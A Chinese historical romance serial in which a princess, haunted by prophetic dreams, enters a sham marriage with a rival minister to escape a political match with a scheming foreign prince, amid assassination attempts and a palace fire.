《驸马他尾巴藏不住了》
1. 驸马
子时三刻,一声鸟叫的嘶鸣声划开了泼墨的夜色。
京城郊外驿道两侧的榆树扭曲成佝偻老朽,月光透过残枝如白雪般覆在地面上。
朝宁伏在歪脖子树上的瘤节处,树皮粗糙的纹路硌着掌心,蒙面黑纱外唯一可见的双眸,死死盯住前方营帐,帐上隐隐可见金色狼纹。
果然,调查没有出错,如今眼前的营帐就是几日后,要赴中秋宴的绥丹的使团。
如若不是那场痛彻心扉的梦,不会有公主三更半夜蹲在这山头上,准备亲生了结这帮畜生。
她无声滑落树干,点落到地,贴近营帐外,只反手三枚柳叶镖,那人便捂着喉咙发不出一点声响倒在了地上。
朝宁动作干净利落,轻巧避开其他巡逻的侍卫,迅速绕到营帐的后方,里面灯火通明,隐隐传来稀碎的说话声。
“殿下,王那边传来消息,临近中秋,会在边境搞点动静,京城那边也准备好了!保证那大夏皇帝不想和亲也得和!”
“大夏这几年在这个老皇帝手里是一年不如一年了,朝拜?我呸!他们一群中原饭桶算什么东西!”
“只要咱们摩什王子和那大夏公主和亲,不出一年!这大夏就是我们绥丹的了!”
几声刺耳的嘲笑声,像是在抽打朝宁的骨头、血液,她的头上出现了稀碎的汗珠,堂堂一国公主从小到大何时受过如此委屈。
梦里那无数次响起的百姓的哀鸣,死前受过的屈辱,那场足以倾覆整个京城的大火,如同亲眼见证过一般,在每个晚上不断出现在她的梦里,如今这一切的一切都在得到验证。
和亲!绝对不可能!大夏的悲剧也绝对不能上演!摩什!他必须死!
她从腰间却取出一个小小火折子,黑夜中的火苗落到了干草堆中,火势迅速蔓延开,噼里啪啦的燃烧声在寂静的夜色中显得格外刺耳!
火光照在她脸上,蒙面的黑纱被映得透亮,朝宁的眼眸在火光中闪烁着冷冽的光芒,她没有丝毫犹豫,转身向暗处隐去,身后火势如猛兽疯狂吞噬掉一切。
“着火了!着火了!”
营帐里惊慌失措的叫喊声瞬间响起,好几个绥丹人冲出来时,只见火舌舔舐着绣金狼纹的帐篷顶,焦黑的布帛如枯蝶纷飞。
突如其来,全都乱了阵脚,一桶一桶的水扑上去,可火势丝毫没有减少的态势。
正在此时,浓烟中,一软剑隔开浓烟,直指中间最大的营帐!
趁所有人没有反应之际,朝宁踩着人头,落到了摩什的身侧,软剑直奔脖颈而去。
剑刃只差一指,朝宁眼前突然出现许多细小的白色粉末,她踏步后退,却还是碰到了些。
她再想运功却无法凝神,意识逐渐支撑不住身体,最后慢慢失去知觉...
-
再醒来时,朝宁只觉得头有些痛,身体酸麻,耳边偶有虫鸣声响,面前是一个小小的火堆。
她下意识去摸脸上的面纱,但只摸到自己有些微凉的脸,而后面束起的头发也散落到肩上。
“公主殿下既然醒了,便是没事了。”
朝宁打了一个冷战,隔着微弱的火光,才看清对面坐着的男人,青墨色的衣服在黑夜中有些模糊,但是还是那副令人讨厌的模样。
她恍惚了一瞬,方才她烧了绥丹的营帐,可是只差一点就能杀了那个男人,计划不能中断!
朝宁顾不上对面人,提剑要走。
“公主殿下现在再去,无疑是自寻死路。”贺砚知的声音伴随一阵寒风,带动朝宁散落的发丝。
“贺砚知,本公主现在没时间给你辩论,若是你敢拦着,我连你一起杀!”
“微臣可不敢拦着殿下做事,只是若非臣及时赶到,恐怕公主殿下就要成人家的阶下囚了。”贺砚知语气平淡,反倒让朝宁升起一股无名火。
“贺砚知!别太把自己当回事,我多得是脱身的办法。一个一无是处的酸书生,拿什么救我?”朝宁甚至一个眼神都不想给他。
贺砚知偏过头,朝宁这才看到贺砚知旁边还有一个呆站着的侍卫。
“若是公主殿下再去,是准备好如何向陛下交代了吗?”
朝宁微微眯起眼睛,目光如寒星般锐利,直直地盯着贺砚知。此时清丽无双的面容虽未施脂粉,却更添了几分冷艳之气,她冷冷地开口,声音中带着不容置疑的狠厉:“贺砚知,本宫没时间在这儿耗着,若你再废话,我保证你现在就会少了只胳膊。”
威胁似乎对于贺砚知没有丝毫用处。
他慢慢起身,反而走到朝宁面前,带着微凉的夜风扑面而来,“微臣知道殿下所求为何,中秋外国使臣来拜,可唯独这绥丹,除使臣外,又跟来个王子,其中缘由,想必公主早就知晓了,或许,殿下不惜夜烧连营,也是为此?”
朝宁中了些许摩什的迷药,近距离看,她的眼睛还是有些微红。
缘由?
那些虚无缥缈的东西,她自己都不信!只有夜夜梦魇,清醒过后,心脏的刺痛感提醒她,一切都是真的,只有杀了摩什,阻了和亲,才不会朝着梦中的方向发展!
朝宁叹了口气,抬头直视眼前的男人,“朝堂之上,谁人不知你贺大人本事,但是,本宫还是劝你,别把那点小聪明用在我身上。”
贺砚知嘴角微微上扬,“殿下,如此有筹谋,不如说给臣听听,就当是这荒郊野外、夜半时分的一次谈心?”
朝宁一时语塞,原本的计划就是阻止绥丹进京,只要人不到,一切都有转圜的余地,只是不知道如今那张绥丹上书和亲的文书是否到了她父皇手里。
“殿下是想说陛下是否看过和亲文书?据臣所知,所有外国的文书,明日一早便会出现在陛下的眼前。绥丹势力越来越强大,近年来在边境少不了小动作,甚至还有连同别国作乱嫌疑,若是等绥丹进京,即便是陛下再疼殿下,也未必会拒绝和亲这条路。而今晚摩什王子若死在了大夏境内,后果怕是公主殿下也无法承担。”
月光下的贺砚知冷静的眸子如同这个人一般,看不出一点破绽。
他继续道:“如今距离中秋不出十日,可这绥丹人的营帐却在半月前便驻扎在这京城郊外,按照路程,他们不应该出现在此。”
朝宁当然明白他意思,刚才在帐后听到的一句一句浮现眼前,可无论还是梦中还是现实,她始终无法搞懂,为何与她成亲,便能成了扳倒大夏的关键?
贺砚知抬手拂掉沾在朝宁肩上的落叶,“所以殿下,不必担心他们会将今晚的事情捅出去,反而给了殿下更多机会。”
朝宁对这话成了兴趣,“这么了解绥丹,又半夜出现在这荒郊野岭,还偏偏让手下救了我,怎么
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贺大人是对本公主芳心暗许,不惜当个浪荡徒子尾随至此,还是...”
朝宁又靠近几分,手指轻轻按在贺砚知冰冷的衣襟上,“还是,你贺砚知,更要做些见不得人的事。”
两人双眸相对,彼此探着对方,直到眼前的男人,细细入骨的声音落到她耳畔。“绥丹狼子野心,臣也只不过是保护大夏而已,而保护公主殿下更是微臣的职责。
一句冠冕堂皇的话,“既然不说实话,那这所谓谈心也没必要继续,起开吧贺大人,别挡着我路。”
朝宁转身要走,手腕却被一抹冰冷握住,“殿下,当真不想听听,留给殿下的其他机会。”
朝宁耍开牵着的手,冷眸看他,“既然如此,本公主就站在这儿,听听我们聪明绝顶的贺大人给了我什么机会。”
月光下,她看着贺砚知递上一方素帕,“与我成亲,可解公主困局。”
朝宁轻嗤一笑,“贺大人还真是对本公主芳心暗许呀。”
贺砚知不紧不慢地道,“自古和亲讲究的是合情合理,若公主殿下早有良配,且已经成亲,即便是想和亲,也不可违背公序良俗,自然也别无他法。”
朝宁笑容在他的话间,慢慢收紧,她原本想从根本上解决绥丹,如今失手,已是打草惊蛇,再想杀了他已经是难上加难,可若无法解决人,反其道而行,未尝不是一个好办法,绥丹隐着自己还未到京的事实,那在这空档与人成婚,即便摩什入京,她也不能再和亲,
可是人选....
朝宁抬头看向贺砚知那深色的眼眸,“与我成亲,你求什么?”她可从来不觉得贺砚知真是个好人。
世人都知道贺砚知是一个温文如玉的公子,在官场混到如此位置,却极少与人结怨更是神奇。
但是只有一件事,是只有她朝宁知道的。
那是她认识贺砚知的第二年,他从小寄养在前太傅家中,所以与皇帝公主一起在上书房里读书,只是那年大雪冰天,朝宁看见年少的贺砚知将一大臣家的儿子狠狠推下了湖水,湖面上的薄冰被压碎,那个少年掉进了湖水里。
贺砚知的眼神不似从前那般平静,他眼中只有戏谑和嘲笑,那表情好像比那尘封的湖水更要冰冷无情。
片刻后,朝宁听到眼前的男人平静地答道,“与公主成亲自然有不少好处,升官加爵,成为皇亲国戚不是每个男人都追求的,此事过后,是否和离,全在殿下。这是一场稳赚不赔的交易,殿下不考虑吗?”
“与你成亲可以,可是贺大人反倒要考虑清楚,我今日来此就是为了杀了他,这个念头不会消失,贺大人当真要与我趟这趟浑水吗?”朝宁微眯着眼睛打量着他的反应。
贺砚知又靠近一步,两人的气息快因这距离交织在一起,“与殿下成亲,自然一切要与殿下为主,无论做什么...”
他的声音像是漂浮在这幽林之中的妖灵,摄人心魄,却又难以拒绝。
“既如此,确实是没有拒绝的理由了。”朝宁露出的笑容带着一丝危险。叠在背后的手,轻轻一扯,原有其他用途的绳子落在手中。朝宁将贺砚知双手钳住,三两下将他整个绑了起来。
“殿下!”黑夜中的侍卫惊呼,很显然不知道这边发生了什么。
“既然成了我的驸马!就要尊我府上规矩,乖乖和我回去吧!”
2. 成亲
短短几天,京城内外关于这场婚事的消息已经传得沸沸扬扬。
一个是受尽宠爱,年仅七岁便封号“颐宁”的公主殿下,一个是皇上心腹大臣,年纪轻轻就位居右相之位。
消息如同一颗惊雷,瞬间成了各大茶楼酒肆、市井商铺的谈资。先是传出颐宁公主和右相两人私定终身许久了,平日里少不了私会,是两人求了皇帝许久,才准了二人五日后成亲。
私定终身?京中谁人不知道两人从来不对付,大打出手更不在少数。
流言越传越烈,更传出颐宁公主为了报复右相,所以向皇上求了这门婚事,只为了能囚在府中,日日折磨。更有人称前一天,亲眼看见,颐宁公主将人绑了带进了公主府。
几天时间一晃而过,作为最受宠的公主,仅仅五天时间没有降低这场婚礼的规格,反而十里红妆,街道上丝竹乐器响了一路,从公主府到贺府,百姓都围在街边,等着看这场盛大婚礼。
可是这场婚礼的当事人,正坐在床上,脸色苍白,里衣已经湿了一片。
莲心端着喜服兴冲冲推门进来,见到自家公主如此,也吓了一跳。
“公主,您怎么了?是不是身体哪里不舒服?”
朝宁没有说话,只是眼神空洞地看着这一屋的喜庆,有些恍惚。
莲心瞬间明白过来,“公主,是不是又做梦了?”
朝宁的意识逐渐从那场重复的梦里脱离出来。
她一声红装站在城墙上,那摩什正拿着箭抵在身后,她的耳朵听不到声音,只记得梦里摩什那副阴险得逞的表情,记得皇宫里那血淋淋的画面,可她听不到,梦里的她看着那高高城墙下,浴血奋战的守城之军,她只想结束这场梦境。
突然眼前一片漆黑,无数片段闪回,她好像看到了嫁衣,白马,人群,她中毒倒地....
醒来的朝宁,有种莫名的空虚感,和原先的恐惧、气愤完全不同。
后面闪送的画面,是之前从来没有梦到过的,难道是在暗示她什么?
朝宁扶着头叹息,仍由莲心为她梳妆打扮,镜中的自己被扮上新娘的妆容。
迎着清晨的曦光,迎亲的队伍准时从贺府出发,贺砚知跨坐在一匹白马上,一席红色黑边绣金锦袍,红色绣球带在身前,剑眉星目,平时温润气荡然无存,更有将军风范,在众人的羡慕的眼光,往公主府而去。
公主府的位置和贺府的位置不远,但是公主嫁娶,迎亲队伍绕城一圈,街道两侧挤满了百姓,比平时还要多上许多。
但是两侧都有皇家的士兵守着,迎亲队伍不多时,就到了公主府。
朝宁出了公主府,曼妙的身姿被嫁衣完美的凸显出来,虽不见美貌却也可见盖头下惊人的美貌,引得众人一阵惊呼,贺砚知下马,来到新娘面前。
朝宁什么也看不清,只见盖头下,一只白皙修长的手伸到她的面前,
“扶公主上轿。”
清润的声音在她的耳边响起,似跨过器乐声,盖过人声。
“人模狗样!”朝宁心里暗骂一句,外面围着不少双眼睛,她还是乖乖将手递了过去。
三跪九拜之礼定在了贺府,原本公主出嫁,应是驸马随公主住公主府,但是几番商议不下,还是皇帝拍了板,以贺砚知公务繁忙,公主淘气,让朝宁住进贺府。
朝宁几百个不怨,也只能应下了。
器乐声响起来,在众人的欢呼声,目送这对新人远行。
迎亲队伍驶入东街,街上围着的群众突然越来越多,人声嘈杂好像要盖过丝竹声,整条街道勉强能通过,公主婚事,迎亲队伍里,有许多皇家侍卫,他们横在马路两侧,尽量不让百姓挤进来,冲撞了轿撵。
贺砚知坐在马上环顾着四周,一旁的梁蔗靠近道,“主子,好像有点不太对,这条路按理来说不应该有这么多人的。”
“告诉轿夫,加快点步子。”贺砚知微微侧目,黑眸越发深邃,目光所及群众,又好像没有任何的异样。
虽然中间有官兵挡着,可还是抵不住有人往中间涌,甚至其中抬轿子的一个轿夫被撞得踉跄,轿撵也晃了一下,轿身猛地一晃,朝宁慌忙扶住差点滑落的凤冠。
“外面发生什么事?”
“回公主,路上的人太多了!”莲心几乎用吼的声音说话。
“人多?”朝宁也是疑惑,揭开盖头和轿撵一侧的帘子,也是被外面的景象吓住,侍卫死死拦住一侧百姓,所有人好像中邪一般拼命往里挤。
后面的轿子因为一人踉跄倒下,丝竹声骤然停下,一支短箭从人群中穿过直直插入那轿夫的胸口,丝毫不差。
“死人啦!”
街道两边的百姓,听到死人,全部跟着乱了起来,更加涌动的人群,让现场变得更乱。
贺砚知勒住马,尽量让自己保持平衡,这些百姓有很大一部分,都是奔着他来的,他坐在马上目光扫到底下的人。
所有人的目光都在这群百姓中,没人注意到一支暗箭从右侧射出,目标正是马上的贺砚知。
而这个角度,正对他的后背。
“小心!”
朝宁踏步而起,红色的嫁衣在空中铺展,丝线勾勒的凤凰好像真的活脱起来,她飞坐在马上,两手抱住贺砚知,脚下勾住马鞍,两人倒向一侧,那一瞬,箭矢勾着两人一角,带下一块红布,直挺挺地扎在地上。
身下的马受到惊吓,死命嘶喊,马脖子使劲地往后仰,前蹄高抬,两人硬生生地马摔在地上。
贺砚知被带下马,睁开眼看见朝宁有些怒气的脸,“你真的蠢到家了,要是没有我救你,你就死了。”
贺砚知愣住一瞬,直直看着眼前人,可旁边的百姓似乎的涌动还没有停止!
“愣着干嘛!还不快跑,真想死在这儿!”
朝宁撑起身子,嘴里嘟囔一句“废物”,拉着贺砚知穿越人流,往一侧的小巷里跑。
那箭不像是从人群里射出来的,今日恐怕也是有人想要了贺砚知的命,她心里越发胆寒,这和亲绝对不是简单的和亲,背后一定有更大的阴谋。
朝宁对京城这些路熟悉的很,最后找到了一个稍微隐秘的地方停了下来。
“真是累死了!你救了我一次,我救了你一次,咱俩也算是扯平了。”朝宁身子撑在墙上,累得气喘吁吁。
贺砚知靠在墙侧,眼神凌厉地打量着四周,却看旁边的人儿似乎还在发抖。
“今日出此问题是臣没安排妥当,让殿下受惊了。”
朝宁摆摆手,“别说这些冠冕堂皇的话,后面怎么办?”
“想毁了这场婚事的,恐怕已经进这京城了。”
这帮绥丹人生性阴狠,从婚事传开后,刺杀计划便已经埋下了,一个外来的人,还未进京便能掀起如此大波澜,朝宁不敢想象,若是这场和亲真的成功,会带来多大的祸患。
朝宁靠墙喘了口气,红晕的脸颊泛着一丝苍白,“婚事照常举行,千万不能让他们得逞,后面再慢慢抓他们藏在京城的尾巴。”
朝宁刚动身,她下意识地嘶了一声,身体不受控地顺着墙壁往下滑。
贺砚知抱住了她时才发现,她手臂上的那块红色衣裙上,有一块已经被划破,被更深的血色染得更红!
“贺砚知,我好像中毒了...”
等梁蔗赶到时,他家主子正抱着颐宁公主,而怀中的公主像是已经失去了意识,如同那日在树林中那般。
“主子...”
“清干净了吗?”
“回主子,那些人...大多都是京中百姓装扮,人太多...属下们不敢轻举妄动。”
贺砚知抬手间,一枚飞刀直接扔过屋顶,刀刃直插喉部,跟着他们的“尾巴”就这么直挺挺地掉落下来。
贺砚知眸中带着寒气,他起身将朝宁抱在怀里,沉声道:“收拾好残局,公主受伤的事情不许跟任何人说。另外,管好你自己的嘴
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,什么该上报,什么不该,你自己心里清楚。”
梁蔗心中一惊,忙跪在地上,“是主子!”
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卧房内,红烛高照,喜气盈门,金丝软塌上铺着大红棉被绣着鸳鸯戏水,栩栩如生。
朝宁醒来时,自己已经躺在了婚床上,她想动,但是手臂上传来微微的疼痛感,她这才想起来自己中毒了。
她看着自己包扎的伤口愣了一瞬,这和今日早晨梦完全对上了,梦中的碎片一块一块的和现实中拼在一起。
难道....梦里的东西真的...会应验,朝宁不敢再想。
“殿下,您醒了!”莲心小跑过来,慢慢扶着朝宁坐了起来。
朝宁脸色还不是太好,此刻嘴唇还有些发白,“外面怎么样?父皇知道我受伤吗?”
莲心答道,“殿下放心,陛下那边驸马已经禀明,您喝了点酒,也不喜那些繁文缛节,休息了。但京城波动不小,陛下动怒已下令全城搜索刺客。”
朝宁点了点头,幸亏受伤之事没外传,不然指不定又闹出什么风波呢。
“贺砚知呢?”朝宁问。
“驸马在外陪宾客。”
正说着,门吱呀一声被打开,贺砚知带着些酒气踉踉跄跄地进了屋内,身上的酒香混着淡淡的沉香在空气中弥漫开来。
莲心还没等朝宁吩咐,见状赶紧退了出去,还顺手带上了门,只剩下床上坐着的朝宁。
贺砚知缓步走来,月光透过窗棂在他端肃的面容上投下斑驳光影。虽仍是那副不苟言笑的模样,眼尾却染着薄红,如玉的面颊上浮着淡淡桃花色,连素来紧抿的唇都显出几分艳色来。
朝宁虽然受了伤,但是能趁机收拾一下喝醉的贺砚知,怎么不是一个好机会,想着坏事连手臂的疼痛都感觉不到了。
“哟!我们贺大人还有喝醉的时候呢,过来,让本公主瞧瞧!”朝宁朝他勾勾手,语气中带着一丝调侃和挑衅
贺砚知没有说话,只是身形一顿,随即慢慢走向屋内。红烛昏暗,光影摇曳,靠近几分,朝宁才看到他双眼半眯着,眼眸中似乎有雾气弥漫,往日的清明似乎被酒意冲散了,取而代之的是一种朦胧的迷离
朝宁觉得有意思极了,这让她想起来了,许多年前自己养的小狗,她只要勾勾手,小狗就会欢快地朝着她摇摇尾巴奔过来,眼中满是讨好和依赖。而现在,贺砚知就像是那只小狗,虽然高傲,却在酒精的作用下,暂时失去了往日的防备。
能借机调戏醉酒的贺大人,想想都觉得兴奋。
贺砚知慢慢走近她,与朝宁只有一步之遥,两人之间的空气似乎都凝固了,只听见彼此的呼吸声在安静的房间里回荡。
“跪下!”朝宁突然厉声喝道,声音中带着一丝不容置疑的威严,她要在这场博弈中占据上风。
贺砚知突然停下了,只是下一刻没有继续动作,他微微抬头,目光与朝宁交汇,那双半眯的眼睛中闪过一丝复杂的光芒,似乎在挣扎,又似乎在思考。
朝宁皱皱眉,“本公主让你跪下,你要违抗命令吗?”
她有些不耐烦,伸出脚来,准备像驱使小狗一样踢他一下,只是下一瞬,一个黑影直接覆了上来,朝宁还没反应过来。
那双带着水汽的眼睛就这么到了她眼前,近在咫尺,她甚至能看到他眼中的倒影里有自己惊愕的脸庞。他的呼吸喷在她的脸上,带着一丝酒后的炽热,让她的心脏猛地一颤。
“你....你没醉?”朝宁挣扎一下,声音中带着一丝不确定和愤怒,“你敢骗我?”
“没有...公主想玩,我当然要听,只不过,喝醉了被公主绊了一下。不过,倒是公主殿下,受了伤还这么有兴致。”贺砚知的声音低沉而沙哑,带着一丝醉意的慵懒。
“贺砚知,我这伤是救谁受得?你现在就应该乖乖服侍本公主,我若是高兴了,能赏你一个小红花。”
她的手指点在了贺砚知的额头上。
3. 中秋夜宴
朝宁虽然脸色不好,但是丝毫不减朦胧的魅惑。她的脸庞在红烛的映照下,宛如一朵盛开的红莲,娇艳欲滴。
贺砚知身形蓦地一僵,撑着的手无意识地地收拢又松开,他倏然起身,连带着案上烛火都跟着晃了晃。
“公主受伤了,早点休息,今日殿下睡卧房,我去书房睡。”转身离开。
听着门外渐远的脚步声,朝宁忍不住笑出声来,一向端庄自持的贺大人也禁不住被撩地惊慌失措。
或许,这场婚事也没有想象的那般无趣。
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京郊外树林里,几个砍柴人背着担子穿梭在树林里,他们腿脚凌厉,眼睛时不时向四周看去,不像是普通百姓。
他们落脚在树林的一座小屋前,左右查看四周无人,放下柴篓从门口而进。
木屋里,三个男子围在桌前,正中间的男子,身上披着一厚重的暗紫色衣服,略显尊贵,他的脸与大夏男子不同,发箍攥紧长发,如狼一般的眸子泛着青光,盯着手里把玩一把锋利的匕首,其他二人在他周围更是不敢吱一声。
几个砍柴人进门,朝着面前的男人一拜。
男人并未抬头看他们,反倒拿起旁边的布擦拭匕首,开口道:“怎么样了?”
“禀主子,失败了...贺砚知还...活着...”
摩什那把锋利的匕首,下一刻扔到底下人的身上,当场毙命。
其余人跪在地上,大气都不敢喘一下。
“废物!都是一帮废物!”
桌上另一个男子拍桌狠狠道,“这个大夏的老皇帝,我们的文书里写的清清楚楚,他赶在我们之前,把公主嫁了,简直是不把我们绥丹放在眼里!”
另一个男子颇为冷静,转头看中间的男子,问道,“京城那边,本来已经安排好,这下可怎么好?”
摩什眼神颇为狠辣,冷笑一声,“和不和亲不重要,东西最重要,通知京城里的人,养了他们这么久也该有点作用了。”
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时间匆匆而过,很快就到了中秋这天,朝宁这三天在贺府也过得潇洒,也有件奇怪的事,住在贺府,她睡的挺好,也没再做梦,伤也好的差不多,只等着今天还有一场中秋宴。
那天之后,刺客仿佛都消失了一般,翻遍全城也未找到踪迹,又逢使臣进谏,也只能暂时搁置。
三天内,各国使臣马不停蹄地进京,朝宁收到消息,绥丹王子摩什在她成亲第二日便入了京城,住进了驿馆,也没有声张和亲和营帐被烧的事。
中秋晚宴,定在了戌时。
贺砚知下了朝,回了贺府,等着与朝宁共同乘马车而去。
朝宁平时喜欢红色的衣服,但是自从那个梦后,她便选了一件青绿色的衣裙,上面绣着精致的花纹,银白色的丝线勾勒出朵朵梅花,腰间系着一条同色系的腰带,将她的腰身勾勒得纤细而柔软,显得更加俏皮又灵动。
朝宁走到贺砚知旁边,“走吧,不会是被本公主的迷住了。”
贺砚知微微一笑,“当然,今日我们作为新婚夫妇出席。”
朝宁被他扶上车,“你知道就好,可不准露馅了,丢本公主的脸。”
贺砚知马车停在了宫门口,朝宁刚下马车,就听到一个爽朗的声音。
“颐宁!”
有一个男声从后面叫住了朝宁。
“皇兄!”朝宁回头向着远处的朝珩奔跑而去。
朝珩英俊的脸庞笑意深深,展开双臂迎着那个好像还是长不大的皇妹。
“皇兄,你什么时候回来的?”
朝珩揉了揉朝宁的头发,道:“今日清晨,快马加鞭还是没赶上你成亲。”
“没事的,皇兄多给我送点新婚之礼就好。”
贺砚知走到朝宁的身边,向着朝珩行了个礼,“太子殿下。”
朝珩应了一声,并没有太多的回应,反而是又看了朝宁一眼。
她这个皇妹与贺砚知的关系,他可是再清楚不过了,他俩大闹的几年,更是没少听朝宁念叨,谁知他不过是出京一个月两人就成亲了,实在是古怪得很。
贺砚知于朝廷是个好官,能力强、手段强,可是于她皇妹来说,真的是个好丈夫吗?
“孤这个皇妹自幼被父皇宠溺惯了,以后还请砚知多多包容我这个皇妹。”
“太子殿下说笑了,公主殿下在臣眼里是个真真好的人。”他顺手捞起朝宁的手。
朝宁被他吓了一跳,强挤出一个笑容,她皇兄还不知道两人假成亲呢,以后可是要找个机会和皇兄说清楚。
中秋宴在保和殿举行,宴会都是以最高规格接待外国使臣,想以此证明大夏的实力。
贺砚知和朝宁先行入座,其他重要官员陆续入座,高台之上是皇帝,侧边坐得便是如今宫中最受宠的妃子,淑妃。
皇帝朝渊说了许多客套话,随后进入正题,各国使臣带着礼物纷纷进谏,而最后一位,便是绥丹的王子-摩什。
摩什一行人迎着众人的目光进了朝堂。从进来后,那如豺狼般的眼神就轻松锁定了朝宁。
几乎是一刹那,朝宁对上摩什的眼神,好像那日火烧营帐前,两人的对峙。
摩什对着朝渊行了个礼,“摩什拜见皇帝陛下。”
朝渊拜了拜手,笑意不到眼底,“绥丹如此心诚,这次竟派王子远道而来,多在京中住几天。”
摩什微微一笑,脸上带着寒意,丝毫不惧,“父汗的意思,是与大夏共修百年之好,便让我连夜快马赶至京城,也好享享这大夏的文化,可进了京才知道...颐宁公主竟已寻得良配。”
说话间,肆虐的眼神不顾旁人,直盯盯地看着朝宁。
“摩什王子来得不巧,若是早几日来,倒可以讨得一杯喜酒喝。”贺砚知接过话茬。
这才将目光转到贺砚知的身上,长得却是好看,俊朗非凡,一袭青墨色华服将整个人衬托的清贵,在外域贺砚知可是个炽手可热的人物,随皇帝西伐,虽不会武功,可是手段狠辣耍的人团团转,让他们元气大伤。
如今,摩什见了却又觉得不过如此,贺砚知应该庆幸当时没遇到他。
摩什想到这里不觉得有些飘飘然起来,“真是可惜,原本我也是慕名颐宁公主而来,我父汗下文书,也是想若是能与颐宁公主结良缘...那也是...”
“摩什王子!”贺砚知冰冷的眼神有点变得有些锋利,“还是慎言,颐宁公主已与我成亲,已为我贺某之妻,摩什王子现在说这些,反倒是不顾两国交好。”
摩什气得有些咬牙切齿,想要反驳,一旁的格吉尔,及时拉住了摩什。
“摩什王子向来心直口快,愿陛下与大人见谅。”
朝渊大笑两声,打破了这局促的场面,“摩什王子,性子爽朗,在外
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域也是名声赫赫,朕也是很欣赏王子。”
朝宁的思绪回来,她侧身去看一旁的贺砚知,或许找到他合作是个良策。
宴席开始,觥筹交错,宴会上又不少人都将目光落在了这对新婚夫妇身上,朝宁要尽量表现出与贺砚知恩爱,可是当菜肴上齐时,气氛便变得有些尴尬了。
朝宁借着丝竹管弦声,悄声凑近贺砚知,“喂,我可不知道你喜欢吃什么,我给你什么你就吃什么吧。”
贺砚知皱皱眉,“你给我什么吃什么?你是在喂猪吗?”
朝宁瞪了他一眼,“你要是觉得你自己是猪也行,呐,这个水晶丸子给我吃下去。”本来多了一点好感,现在又都没有了。
贺砚知张着嘴欣然接受了朝宁的投喂,虽然他真的很不喜欢吃。
“都说这颐宁公主和右相不和,如今看来传闻也不可信啊。”场上一直默不出声的杜仕远一句话,带动了场上大部人的好奇。
大夏朝设左右丞相,右相是贺砚知,左相便是杜仕远。
朝宁相比于贺砚知更实在讨厌这个杜仕远,可恶得明明白白,在贺砚知前,大夏只有一个丞相,一家独大贪心不足,便有了分走权利的右相。也为了稳住自己的势力,几番压迫,朝珩被迫娶了杜仕远的女儿-杜若,成了现在的太子妃。
杜仕远此时开口,分明就是找两人不痛快,而偏偏有人来了精神。
“哦?原来颐宁公主和右相还有这么一段呢,不和?又成了亲...”摩什摇着手里的酒杯,傲慢眼神好不遮掩地看向朝渊,“莫不是嫌我们绥丹国小委屈了公主殿下?”
这话一出,无疑是在打大夏的脸,一个区区小国,在别人的土地上口出狂言。
天底下,哪有这样的道理。
朝宁眼中闪了一丝寒光,她慢慢拾起桌上的一根竹筷,在所有人没有反应过来的时候,那根竹筷如旋转的飞镖,死死插在了摩什面前的桌子里。
在场的人无疑不倒吸了口凉气。
摩什死死盯住那根竹筷,微红的眼睛中藏不住杀意,一旁沉着冷静的格吉尔此刻也坐不住了。
“颐宁公主这是何意!我们王子远道而来,没想到大夏公主就是如此待客的吗?”
朝宁冷了脸,擦擦手将手绢扔在桌上,“本宫骄纵惯了,听不得一些污言碎语,否则就管不住我的手,王子出门在外,还是要守别人家的规矩,还是可汗没教过王子这个道理?”
摩什的脸色瞬间变得铁青,他猛地站起身,目光如刀般盯着朝宁,声音中带着一丝愤怒和杀意:“朝宁,你这是在挑衅我们绥丹吗!”
朝宁冷笑一声,如同看待垃圾一般轻蔑:“本宫不过是实话实说。在大夏的地盘上,还容不得某些人放肆!摩什王子也可将今日对话原封不动送到绥丹,让王子父汗断一断。”
剑拔弩张,高台上朝渊适时地开口:“摩什王子,朕这女儿被宠坏了,王子性格爽朗,不过是误会一场。中秋宴本是欢乐之事,不要因此坏了各位心情。”
皇帝只是微微皱眉,但是嘴角笑容还没放下,转头对朝宁不轻不淡的来了一句,“颐宁!宴会之上不许胡闹!”
话虽如此,但宴会的气氛已经被破坏了的差不多了。
突然,外面传来了一阵骚动,一个小太监冲进了保和殿。
“陛下....陛下不好了!融沁宫!走水了!”
4. 救火
“走水!”
一声尖利的呼喊刺破殿内笙歌。
朝渊手中的玻璃盏“啪”的一声摔在桌上,方才还气定神闲的帝王此刻面色惨白如纸,撑着案几起身时差点倒下去。
“陛下!”淑妃惊呼一声,眼疾手快地扶住他,才避免了皇帝在各国使臣面前倒下去。
“你们,你们这群废物!还在这儿杵着滚去融沁宫灭火!”
总管太监李钦哪敢耽搁,连滚带爬地带着几个太监侍卫冲出了殿门
混乱中一抹青色背影紧随着出了保和殿,动作快得令人猝不及防,未请告退,甚至没顾上向龙椅的方向看上一眼,只有贺砚知注意到了朝宁临走前惨白的脸色。
“陛下,臣随公主殿下去探明情况。”贺砚知匆忙一揖,不待细说便转身追了出去。
他的余光扫过对面的摩什身上,刚才还怒气冲天,反而在融沁宫出事后,愈发自在地端起酒杯,慢悠悠地啜饮起来。
异国的使臣们面面相觑,交头接耳,大夏宫苑却在中秋出现此等意外,岂不成了外人眼中的一场笑话?
“父皇,宫中自有成法处置,您千万保重龙体。”朝珩作为太子,适时地提醒着皇帝,此刻应以大局为重。
淑妃在旁递过一杯水,抬眼又看向朝珩,柔声道,“陛下,太子与您说话呢。”
朝渊茫然地转动眼珠,视线迟缓地落到殿中站着的朝珩,他颓然地挥了下手,声音有气无力,“太子…替朕…替朕好好招待诸位使臣…朕…朕有些不适…诸位…尽兴而归…”
融沁宫外。
大批的宫女、太监侍卫一盆接一盆的水往里泼,火势不小,所幸发现得及时,只有东侧三殿烧毁严重,火势还没蔓延到主殿也就是朝宁母妃生前寝宫
融贵妃名叫苏融,是皇帝朝渊生前最宠爱的妃子,传闻容貌艳丽,京城所有女子美貌加一起都不及融妃娘娘一隅,可偏天妒红颜,在生下朝宁后难产而死,皇帝从此精神萎靡,十几日罢朝,最后是太后抱着刚出生的朝宁在御书房外劝了几日,才让皇帝重新振作。
融贵妃死后,所有的生前物品不许任何人接触,连装饰、布局也如生前一模一样,只有定时派人轻扫。
火焰伴着浓烟染亮了半个皇宫。朝宁赶到时,热浪扑面而来,她毫不犹豫夺过旁边小太监手里的水桶,竟要往火里冲!
“哎哟!我的公主殿下!这可万万使不得啊!”总管太监李钦魂都吓飞了,一个箭步抢在前头拦住她,“您千金之体,若有闪失,奴才的脑袋还要不要了!这哪是您该干的事!”
几个侍卫看李钦眼色,上前劝阻,朝宁手一横,水桶稳稳挡在身前,“滚开!耽误了灭火,你们几个脑袋赔得起!”
李钦犹豫为难,却也真不敢放人进去。
